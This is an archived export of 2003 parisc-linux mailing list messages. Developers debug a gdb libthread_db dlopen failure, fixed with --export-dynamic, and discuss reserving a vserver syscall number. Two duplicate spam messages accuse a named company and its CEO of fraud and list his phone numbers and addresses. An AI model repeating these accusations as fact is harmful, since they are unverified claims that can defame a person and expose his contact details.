X-Trace: ger.gmane.org 1416623060 3475 80.91.229.3 (22 Nov 2014 02:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 17 09:00:27 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EB434875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 09:00:27 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AWdz8-0006No-00; Wed, 17 Dec 2003 10:53:14 -0500
Content-Disposition: inline
In-Reply-To: <20031217153220.GA24083@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (54% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 16:00:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20415

On Wed, Dec 17, 2003 at 10:32:20AM -0500, Carlos O'Donell wrote:
> Every pogram that links libthread_db.so.1 must provide a set of process
> control primities that will allow libthread_db to access memory and
> registers in the target process, start and stop the process, and lookup
> symbols. ps_pglobal_lookup is always UND in libthread_db, and gdb should
> have exported an arch version for the library to use :)

See:

gdb/proc-service.c
gdb/gdbserver/proc-service.c

*unless* You are insinuating that the loader has messed up the symbol
resolution and ps_pglobal_lookup exists but isn't resolved properly...
which is a whole 'nother can of wormns :)

c.



From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
Date: Wed, 17 Dec 2003 11:43:48 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200312171643.hBHGhmkF001220@hiauly1.hia.nrc.ca>
References: <20031217155313.GC24083@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623060 3478 80.91.229.3 (22 Nov 2014 02:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 17 09:43:53 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BC0D4875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 09:43:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBHGhnIc001221; Wed, 17 Dec 2003 11:43:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBHGhmkF001220;
	Wed, 17 Dec 2003 11:43:48 -0500 (EST)
In-Reply-To: <20031217155313.GC24083@systemhalted> from "Carlos O'Donell" at
	Dec 17, 2003 10:53:13 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 16:43:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20416

> See:
> 
> gdb/proc-service.c
> gdb/gdbserver/proc-service.c
> 
> *unless* You are insinuating that the loader has messed up the symbol
> resolution and ps_pglobal_lookup exists but isn't resolved properly...
> which is a whole 'nother can of wormns :)

I'll take a look.  Based on what you have said, it's likely the gdb-6.0
isn't being linked correctly on hppa-linux.  Debian gdb-6.0-2 doesn't
build as is, and I had to make some minor mod's to the patch set and hack 
a config file to include linux-nat.o in the required files.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
Date: Wed, 17 Dec 2003 13:35:37 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20031217183536.GF24083@systemhalted>
References: <20031217155313.GC24083@systemhalted>
	<200312171643.hBHGhmkF001220@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623061 3481 80.91.229.3 (22 Nov 2014 02:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 17 11:42:51 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACEC94875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 11:42:51 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AWgWH-0006l1-00; Wed, 17 Dec 2003 13:35:37 -0500
Content-Disposition: inline
In-Reply-To: <200312171643.hBHGhmkF001220@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (54% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 18:42:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20417

On Wed, Dec 17, 2003 at 11:43:48AM -0500, John David Anglin wrote:
> > See:
> > 
> > gdb/proc-service.c
> > gdb/gdbserver/proc-service.c
> > 
> > *unless* You are insinuating that the loader has messed up the symbol
> > resolution and ps_pglobal_lookup exists but isn't resolved properly...
> > which is a whole 'nother can of wormns :)
> 
> I'll take a look.  Based on what you have said, it's likely the gdb-6.0
> isn't being linked correctly on hppa-linux.  Debian gdb-6.0-2 doesn't
> build as is, and I had to make some minor mod's to the patch set and hack 
> a config file to include linux-nat.o in the required files.

AFAIK there was major work required. I shy'd away completely as glibc
was taking up all my time and seemed like a better place to start :)

Current todo:

- Giving up on fixing dlopen from static app, too tough for me right
  now.
- Atomic ups are up next, with possibly a review of time functions,
  monotonicity and a fast gettimeofday.

c.


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syscall number for vserver
Date: Wed, 17 Dec 2003 23:16:18 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20031217221618.GC9313__32710.9204059981$1416623061$gmane$org@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623061 3486 80.91.229.3 (22 Nov 2014 02:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:21 +0000 (UTC)
Cc: vserver@list.linux-vserver.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: herbert@13thfloor.at  Wed Dec 17 15:16:19 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5FDCC4854; Wed, 17 Dec 2003 15:16:19 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id A5B37510FA6; Wed, 17 Dec 2003 23:16:18 +0100 (CET)
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	vserver@list.linux-vserver.org
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 22:16:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20418


Hi everyone!

I would like to 'officially' reserve a syscall number
for parisc(64)/vserver ... 

this has been done for i386, x86_64, sparc(64) and s390, 
but not for parisc/parisc64 yet, could you please point
me in the right direction?

x86_64      236     [Andi Kleen]
s390        263     [Martin Schwidefsky]
sparc       267     [David S.Miller]
sparc64     267     [David S.Miller]
i386        273     [Rik/Linus/Andrew]

TIA,
Herbert

PS: see http://linux-vserver.org/ for more details ...




From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
Date: Wed, 17 Dec 2003 19:21:17 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200312180021.hBI0LHkC022778@hiauly1.hia.nrc.ca>
References: <20031217183536.GF24083@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623061 3487 80.91.229.3 (22 Nov 2014 02:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 17 17:21:20 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D27374854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 17:21:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBI0LHIc022780; Wed, 17 Dec 2003 19:21:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBI0LHkC022778;
	Wed, 17 Dec 2003 19:21:17 -0500 (EST)
In-Reply-To: <20031217183536.GF24083@systemhalted> from "Carlos O'Donell" at
	Dec 17, 2003 01:35:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 00:21:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20419

> On Wed, Dec 17, 2003 at 11:43:48AM -0500, John David Anglin wrote:
> > > See:
> > > 
> > > gdb/proc-service.c
> > > gdb/gdbserver/proc-service.c
> > > 
> > > *unless* You are insinuating that the loader has messed up the symbol
> > > resolution and ps_pglobal_lookup exists but isn't resolved properly...
> > > which is a whole 'nother can of wormns :)
> > 
> > I'll take a look.  Based on what you have said, it's likely the gdb-6.0
> > isn't being linked correctly on hppa-linux.  Debian gdb-6.0-2 doesn't
> > build as is, and I had to make some minor mod's to the patch set and hack 
> > a config file to include linux-nat.o in the required files.

dave@gsyprf11:~/gdb-6.0-2/objdir/gdb$ nm gdb|grep ps_pglobal_lookup
000dc904 T ps_pglobal_lookup

Looks as if there is a problem with dlopen.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
Date: Wed, 17 Dec 2003 19:32:07 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200312180032.hBI0W7lH024663@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623062 3492 80.91.229.3 (22 Nov 2014 02:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:22 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 17 17:32:11 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D35184854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 17:32:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBI0W8Ic024664; Wed, 17 Dec 2003 19:32:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBI0W7lH024663;
	Wed, 17 Dec 2003 19:32:07 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 17, 2003 07:21:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 00:32:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20420

> dave@gsyprf11:~/gdb-6.0-2/objdir/gdb$ nm gdb|grep ps_pglobal_lookup
> 000dc904 T ps_pglobal_lookup
> 
> Looks as if there is a problem with dlopen.

No, the problem is ps_pglobal_lookup isn't in gdb's dynamic symbol
table.  I'll have to figure out how this is done.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -g
Date: Wed, 17 Dec 2003 19:42:30 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200312180042.hBI0gUJq026589@hiauly1.hia.nrc.ca>
References: <200312180032.hBI0W7lH024663@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623062 3494 80.91.229.3 (22 Nov 2014 02:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:22 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 17 17:42:33 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA8534854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 17:42:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBI0gUIc026590; Wed, 17 Dec 2003 19:42:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBI0gUJq026589;
	Wed, 17 Dec 2003 19:42:30 -0500 (EST)
In-Reply-To: <200312180032.hBI0W7lH024663@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Dec 17, 2003 07:32:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 00:42:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20421

> No, the problem is ps_pglobal_lookup isn't in gdb's dynamic symbol
> table.  I'll have to figure out how this is done.

Adding --export-dynamic to the gdb link command resolves the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Victim of Microsale" <UWE-SCHMIDT-@GMX.NET>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mr. Uwe Schmidt is a knave! Don't buy any product
	from Microsale!
Date: Thu, 18 Dec 2003 13:47:36 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20031218054715.4755848A0@dsl2.external.hp.com>
Reply-To: UWE-SCHMIDT-@GMX.NET
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623062 3500 80.91.229.3 (22 Nov 2014 02:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: UWE-SCHMIDT-@GMX.NET  Wed Dec 17 22:47:19 2003
Return-Path: <UWE-SCHMIDT-@GMX.NET>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from GMX.NET (unknown [218.18.135.215])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4755848A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 22:47:15 -0700 (MST)
X-Priority: 2
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 05:47:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20422

Dear friends,

Microsale SC KG, Ltd, Germany is a knave company and Uwe Schmidt is a big knave!

We are cheated by Microsale SC KG, Ltd.

Remember, don't do any business with this company.

Don't buy any product from Microsale or you will be cheated.

This company has a bad reputation in Germany and in other European countries, espcially in 
Belgium and Netherlands.

Here's the story:

Mr. Uwe Schmidt , CEO
Microsale (R) SC KG

He is also an auditor, but he doesn't have any commercial morality.

He always made cheated L/C to other companies. Many companies have been cheated by him.

Please take care!!!

His products have many problems, such as CD player and mp3 player!

It's the detailed information of this company:
Dahlienweg 6
D 52477 Alsdorf, NRW
Germany, European Union

Tel.-/Fax-Box: +49 89 1488230796
               +32 87 783518
               +32 87 783019
Mobil: +32 474 409055
Email: microsale@email.de 
       microsale@gmx.net
       uwe-schmidt-@gmx.net
Web: http://www.microsale.biz
     http://members.ebay.de/aboutme/microsale_schmidt


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Victim of Microsale" <microsale@email.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mr. Uwe Schmidt is a knave! Don't buy any product
	from Microsale!
Date: Thu, 18 Dec 2003 13:49:03 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20031218054842.BCAE24854@dsl2.external.hp.com>
Reply-To: microsale@email.de
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416623063 3505 80.91.229.3 (22 Nov 2014 02:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: microsale@email.de  Wed Dec 17 22:48:46 2003
Return-Path: <microsale@email.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from email.de (unknown [218.18.135.215])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCAE24854
	for <parisc-linux@parisc-linux.org>;
	Wed, 17 Dec 2003 22:48:42 -0700 (MST)
X-Priority: 2
X-Mailer: FoxMail 3.11 Release [cn]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 05:48:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20423

Dear friends,

Microsale SC KG, Ltd, Germany is a knave company and Uwe Schmidt is a big knave!

We are cheated by Microsale SC KG, Ltd.

Remember, don't do any business with this company.

Don't buy any product from Microsale or you will be cheated.

This company has a bad reputation in Germany and in other European countries, espcially in 
Belgium and Netherlands.

Here's the story:

Mr. Uwe Schmidt , CEO
Microsale (R) SC KG

He is also an auditor, but he doesn't have any commercial morality.

He always made cheated L/C to other companies. Many companies have been cheated by him.

Please take care!!!

His products have many problems, such as CD player and mp3 player!

It's the detailed information of this company:
Dahlienweg 6
D 52477 Alsdorf, NRW
Germany, European Union

Tel.-/Fax-Box: +49 89 1488230796
               +32 87 783518
               +32 87 783019
Mobil: +32 474 409055
Email: microsale@email.de 
       microsale@gmx.net
       uwe-schmidt-@gmx.net
Web: http://www.microsale.biz
     http://members.ebay.de/aboutme/microsale_schmidt


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 08:25:06 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031218072506.GA8142__36849.889640189$1416623063$gmane$org@lst.de>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623063 3507 80.91.229.3 (22 Nov 2014 02:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:23 +0000 (UTC)
